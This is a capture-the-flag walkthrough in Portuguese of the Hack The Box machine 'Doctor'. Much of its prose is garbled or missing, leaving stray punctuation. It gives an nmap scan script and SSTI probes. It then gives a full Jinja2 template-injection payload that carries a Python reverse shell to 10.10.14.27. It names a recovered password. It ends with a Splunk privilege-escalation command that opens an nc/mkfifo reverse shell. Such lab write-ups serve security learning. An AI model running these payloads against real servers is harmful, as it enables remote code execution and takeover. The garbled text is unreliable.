Hack The Box. Médico passo a passo. SSTI para RCE. LPE via Splunkd

Continuo publicando soluções enviadas para finalização de máquinas da plataforma HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver na área de segurança da informação.





A conexão com o laboratório é via VPN. É recomendável não se conectar de um computador de trabalho ou de um host onde haja dados importantes para você, pois você se encontra em uma rede privada com pessoas que sabem algo sobre segurança da informação :)





Informação organizacional

, - , :





- PWN;





- (Crypto);





- c (Network);





-  (Reverse Engineering);





-  (Stegano);





- WEB-;





,  , , .





, , Telegram . , , ().





Recon





IP 10.10.10.209, /etc/hosts.





10.10.10.209    doctor.htb
      
      



.   , - :





#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
      
      



  .





  /etc/hosts.





10.10.10.209    doctors.htb
      
      



, .





 Entry Point

.





  , .





  .





  , , XSS.





   , .





  , <item><title>. , .





  , .





  XSS, , SSTI. .





 :





</title></item>{{77}}
      
      



</title></item>{{7'7'}}
      
      



</title></item>{{config.items()}}
      
      



  . SSTI , :





{% for x in ().class.base.subclasses() %}
{% if "warning" in x.name %}
{{x().module.builtins'import'.popen("").read().zfill(417)}}
{%endif%}{% endfor %}
      
      



  :





import socket,subprocess,os;
s=socket.socket(socket.AFINET,socket.SOCKSTREAM);
s.connect(("10.10.14.27",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash", "-i"]);
      
      



  . :





</title></item>{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect((\"10.10.14.27\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
      
      



 USER

adm, . Apache pas, secret ..





 E encontramos uma string interessante que é a senha do usuário.





 Agora que temos as credenciais, vamos tentar elevar os privilégios explorando o serviço Splunk em execução na porta 8089. Usaremos esse exploit (https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2).





python3 PySplunkWhisperer2_remote.py --lhost 10.10.14.27 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/r.r;mkfifo /tmp/r.r;cat /tmp/r.r|/bin/sh -i 2>&1|nc 10.10.14.27 5432 >/tmp/r.r"'
      
      



 E obtemos uma conexão de volta com nosso ouvinte.












All Articles